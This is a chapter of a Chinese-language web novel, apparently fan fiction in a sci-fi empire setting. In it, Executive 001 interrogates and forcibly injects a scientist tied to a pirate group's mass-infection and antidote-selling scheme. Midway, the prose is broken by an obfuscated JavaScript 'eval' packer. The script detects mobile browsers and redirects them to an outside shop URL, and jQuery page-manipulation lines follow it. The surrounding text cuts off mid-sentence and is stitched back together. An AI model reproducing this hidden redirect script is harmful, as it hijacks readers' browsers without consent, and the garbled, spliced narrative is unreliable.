空气静谧，落地可闻。
但下一刻，陪讯员不用看执行长眼色，就用几乎同样的动作再一次将对方压回原位。
“按照帝国的法律，我是这里唯一可以不经帝国法庭秘密处死你的人。”，幸村目光穿过他，眸里似有经久不散的冷漠，“你在我这里还和星河那些靠交|配实现腺体跨越的角色不一样，请注意自己的格调，米亚博士。”
话音一落地，米亚就面露失望了，同时嗯了一声：“你打算用地位和权势压迫我？那您比想象中还要令我失望啊。”
幸村几乎立刻接上：“我原以为你抛出来的问题也更应该更有深度。”
“哦？”米亚的目光微妙地抬起，像一片羽毛轻轻浮出水面，“我从以前就一直很想问问您——”他拖长了尾音，“帝国把您当成研制最新抗异种感染药剂的……血包，这让您认为自己手里握着可以拯救人类的唯一标尺吗？”
审讯室的灯光雪白，照得他脸上的笑容纤毫毕现：“在贯彻拯救人类的路线里，您一直选择保守路线，非常落后了。事实上，现在情况已经完全不一样了，绝大部分脆弱的人类，已经掉档成为下一等级生物了，可以被牺牲掉了。”
他向001靠近，近到像是情人的低语：“我有幸能邀请您一起考虑别的方向吗？”
万籁寂静。
幸村稍微起身，向他俯身靠近。
雪白的灯光下，执行长的侧颜精致沉静，动作有说不出的缓慢庄重，这个场景非常令人心动。
心动到以为他要回应。
但一切只发生在呼吸之间，米亚的领口蓦然被沉沉拽着往前，随后“碰”一声压上身前的桌面，细碎的窒息从天灵盖淹没下来，喉咙立刻有血沫：“你——”
咫尺之人视线深而沉，氳着坚冰一模一样的寒：“你在PR眼里一定没什么价值！”
“——否则他们一定会事先提醒博士，我对会喘气的活物一向没什么耐心。”
PR，是域外最大一支海盗的名字。
沉默的监禁室内。
米亚的声音大喘气，掷地有声落下：“——荆棘心脏所跳动的未来是真的。”
他朝对方抛出足够诱人的招揽和橄榄枝：“我追随着先王后的步伐走到今天，我将把我一生奉献给为安宁盛世星河的未来。如果您注定为整个碳基生物的未来逆流而上，我想成为您微不住道的助力。”
幸村手上力道没有减弱：“所谋呢？”
米亚目光几乎狂热崇拜：“我想要和您一样成为缔造星河历史的人。”
星河所有人都知道先王后对001执行长的付出和感情，甚至有谣言传他是先王后背着皇帝在外的私生子。
如果还能有一种情感能打动他——那显然来自先王后。
监禁室鸦雀无声。
觉得这位囚犯想死早说。
良久，001执行长松开手，像是碰到了什么脏东西，轻轻嘲讽说：“感谢帝国的媒体，这么多年还为我维持这么正面的形象。”
米亚博士眸底微眯。
同一时间蓝牙通讯里适时传来声响，禁闭室的门被打开，一个身穿医疗室病服，面目三十多岁的男子被拖进监禁室，他双手扣着银色的手铐，喉结处带着强电流监禁锁。
“——碰”一声。
他的脸朝米亚博士方向被直接压往墙壁！
男子嘴巴微张，目光浑浊地凝视着坐着的米亚，但受控于喉咙间的压制欲说话而不得。
米亚博士的神情一瞬间非常精彩。
那是他的伴侣——道格拉夫博士。
幸村修长双手已经带上了黑色的医疗手套，手握着那半管试剂，随着推动有几滴水珠已飞溅而出，容色冷酷而冰冷：“你该跳过企图让我动恻隐心的任何环节，这样还有机会求情。”
乳白色的浑浊药剂印入米亚眼帘，他几乎立刻认出了这根药管，心猛一跳，却强硬镇定：“你也抽取了不死蛇山的血液样本？”
“——你打算用基地重要科研人员的性命威胁我交出根本不存在的解毒药剂？”
话一落地，他笑着摇摇头道：“如果是严刑逼供的话您大可对着我来，我只有一个要求——您亲自来。”
“毕竟我在未曾见过您之前，还以为您是个光明的英雄…”
针头映亮了幸村坚冷的侧脸，他的声音清晰平静传来：“——卖弄你身上不存在的吸引力和往我身上堆砌虚假些的美好品格，都是一场失败的谈判。”
他手下冷漠将针头扎入肌肤，一推到底，却是推入米亚博士体内：“——没有威胁，我只想让你也尝尝这种毒素，因为你这支病毒，刚死了八百五十一个人，如果你发起病来把道格拉夫博士咬死了，我会感到非常遗憾。”
米亚博士简直难以相信自己的耳朵：“你的形象和外界传言所差甚远，001执行长。”
幸村继续道：“PR提出了新的解救人类道路，即群体感染实验？他们找到你，还告诉你凭你就可以重新找到另外拯救的火种，即所谓的万能解毒剂？”
他拔针的手法稳重熟练，同时冷哂道：“这动人的说辞立刻让你日思夜想，辗转难眠了？那群蠢货估计还在窃喜，紫薇星军事基地里原来也有这么开不起玩笑的蠢货。”
米亚从容镇定的神情果然生出了裂缝，因为昂贵的自尊心受到了侮辱。
先王后曾经提出过荆棘心脏计划，以试图解决人类遭受异种血液感染后，高死亡率的难题。
但没有人知道这个计划到底是什么。
直到域外海盗提出了一个可能性——即所谓群体感染实验，就是堂而皇之地把人类再次投入病毒的试验场——通过大规模地感染。就像当初先人把低级生物投入试验场一样，指望感染和吞噬或许可以迫使人类更快完成成长。
按照域外海盗关于群体感染实验推断出的结果有三：
一是人类最终能完全适应病毒并生出抗体，达到群体免疫。
二是在对抗过程中或许能帮助人类加速进化，并衍生出能对抗病毒的新能力。
三是更大概率的后果，只是加速人类自取灭亡而已。
但所谓出路，目前除了001执行长的免疫能力外，没有任何成功案例。
好在按照帝国法律，禁止在人体身上进行病毒实验，违者处死，让这种恐怕计划没有大规模推行。
值得一提的是，PR，作为一个享誉星河的海盗团，它们虽然爱搞血腥研究，但也没有可取之处，比如它：
一爱到处烧杀抢。
二爱在星河贩卖人口。
三喜欢乱收保护费。
PR最大的当家，自诩是001执行长的头号黑粉，最大的爱好就是开着悬挂001执行长头像的旗帜满星河骚扰他，曾经创造出一年骚扰紫薇星军事基地98次，就为了在第99次，即001执行长对外生日当天亲手送上具有羞辱意义的99枝玫瑰花。
生日当天的围堵，的确非常幸运地碰到001执行长本人了，只不过差点被执行长开着机甲一路赶出宇宙星河，并就对方悬挂自己头像的事情，援引帝国法律强制征收了很多版权费。
天知道为什么做海盗还要遵守紫薇星保护法，但据001执行长当初的话来说就是：“那个蠢货一生最大的运气，估计全用在投胎上了。”
——因为但凡有幸投胎成异种魔兽，他早已经被幸村捏成宇宙星河中的残余碎片。
回到PR提出的群体免疫实验来，他们认为荆棘心脏是一种能应对所有病毒的万能解毒药剂，
幸村残酷道：“你和你丈夫的感情很好，约定了要一起创造奇迹，他无私奉献自己，成为你第一个实验对象，可惜你似乎不太在乎他的命？”他凝视着米亚道，“我可以给你一个机会，把你用在他身上的解毒剂成份写下来，我会派人原封不动地把你和道格拉夫博士一同打包送给PR。”
解毒剂的原材料成本高昂，也正因为成本不低，米亚唯一研发出的成品只用在他丈夫身上。
有关那组成分的任何数据，在加利亚拦截前，就被域外海盗闻到先机，并植入病毒销毁了所有资料，要重新研制解毒剂至少需要三个月，他们没有那么多时间了。
不然在这个研究员开口提第一次先王后时，加利亚内心认为依大人的脾气——他就应该直接被送到仁王副官面前。
阴谋败露，米亚在权衡利弊以及思量对方能否这么好心，缓缓启唇道：“…既然执行长不相信域外海盗团的宗旨和道路，那又凭什么认为我身上会有解毒……
米亚博士当然不会相信这样的说辞，他垂目看着面前的一张纸，一支笔，不愿意放弃挣扎道：“难道你对先王后曾经的贡献真的一点都不心疼，她碎在星河里，成为一把沙子，连墓碑都不曾有……”
幸村冷漠打断她：“——如果写不出来，半个小时后，我会再安排你和道格拉夫博士叙叙旧，同时把那份录像发给他的亲生母亲。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271683|198127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>米亚非常不满意他的无动于衷，忽然挣扎起来厉声道：“先王后对你那么好，你难道不该完成她的梦想？域外海盗所指明的道路，即是最接近荆棘心脏的方向……”
“——这么多年你苟且在紫薇星，还是说您当年真的偷盗了先王后的研究成果，并独占己有了——”
001执行长闻言驻足，他的侧脸隐没在门投进的光线里，就好像狂风下依旧不动声色的草芥：“你用了十五年时间从偏远的木卫三星底层爬到帝星，又用五年时间搭着道格拉夫博士来到王者军事基地做了他的助手和情人，有野心是好事，做人该往上爬。”
米亚脸色还是很难看。
“你用高价征集志愿者，以实验新药的名头吸引来了星河大量的底层普通人，并在他们身上注射了海盗提供的不死山蛇血液。后续，你和海盗团那边的高级研究员合作，利用他们的生物材料合成了解毒剂，延缓了他们异变的进程。”
幸村挺拔的背影纹丝不动，连语调都不带一丝情感：“当你发现异变的进程确实有所放缓时，五年的时间，从你踏入军事基地起，名和利对你来说是很重要的东西，你是不是觉得自己最终会载入星河史册？”
“——你运气足够好，以至于从未受到过异种魔兽的感染。”，幸村声音犹言在耳，情绪不明，“但既然你的运气已经这么好了，又怎么一眼认出那就是从不死山蛇身上抽下来的血液，还刚好能让你搭配他们提供的材料研究出完整版解毒剂？”
所谓通过群体感染，进而找到万能的解毒剂只是一个拉拢军事基地研究员的愚蠢骗局，针对病毒的解毒剂早已经存在，只是一步步引导米亚把它弄出来。
新的道路掩盖的就是PR趁火打劫，高价兜售解毒剂的发财路。
“——！”米亚博士张了张嘴，想说什么，想反驳什么，可喉咙像被人掐住，只剩下一阵一阵发紧的痉挛，“怎么可能，他们没有理由这么做，我是成功的——”
柳医生开口解答了他的疑惑：“有的，你对PR还是很有用的，多亏了你流落出去的那批实验者，配合不死蛇女高传染性的特性，目前PR用解毒剂在黑市挣了三个亿。”
可惜PR越不过帝星的七道防御点，挣不了帝星国民的钱。
值得一提的是，帝国高层有一位将军的独子也感染了不死蛇女的毒素，再研究不出解毒剂，军事基地真怕他拿帝星第一道军事防御点的情报和PR交换。
……四大执行长其中三个为了这件事，一个月来忙得不可开交，青学的执行长天天上军事会议抗议，四天的执行长忙着抓流窜的感染患者，至于王者基地，则肩负找解毒剂的重任。
米亚博士盯着幸村的背影，盯着那扇即将合拢的门，忽然发现自己不知道该怎么呼吸。
“抛开名和利，还有因他感染死亡的几百名帝国民众，万一他真的是先王后的追随者呢？”加利亚在幸村耳边小心翼翼问。
“既然想要做成别人做不成的事情，那下场比别人惨烈，不也是预料之中的事情。”幸村道。
但其中情绪不明，让加利亚一下子不知道他是在说这个倒霉蛋还是指……先王后。
忽然，幸村身后传来剧烈的动作。
身旁的两个审讯员忽然手头一麻，紧接着手下的控制力道被人须臾睁开。
他们眼角遽然裂开，椅子上刚坐着的人猛地冲向对面白色的墙，企图自毁。
“——糟！”
“——快拦住他！”
背景声音响起来，无比掺杂！
“碰！”地一声沉响！
却在人影即将撞上墙面的刹那，另一道更快的身影掠过。
——是001执行长。
他单手扣住囚犯的肩胛，借力将他整个人向后带离墙面，动作干净利落。
然而米亚撞过来的力道太猛，收势不及——他额角擦过对方手背，锐痛瞬间蔓延。
“砰——！”
米亚博士被重按回审讯桌边。
血从幸村手背缓缓淌下，是被他眼镜划开的伤口。
001执行长的视线深而沉，眼梢交织着工笔画一般冷冽和清润，其实这样的面相很容易博得人的好感。
——即使是在受伤和完全失去耐心的时候。
额头抵在冰冷的手心，米亚自杀不成，抬头更加恨了。
紧接着旁边001执行长更冷的声线传来：
“——我改变主意了，把他交给仁王。”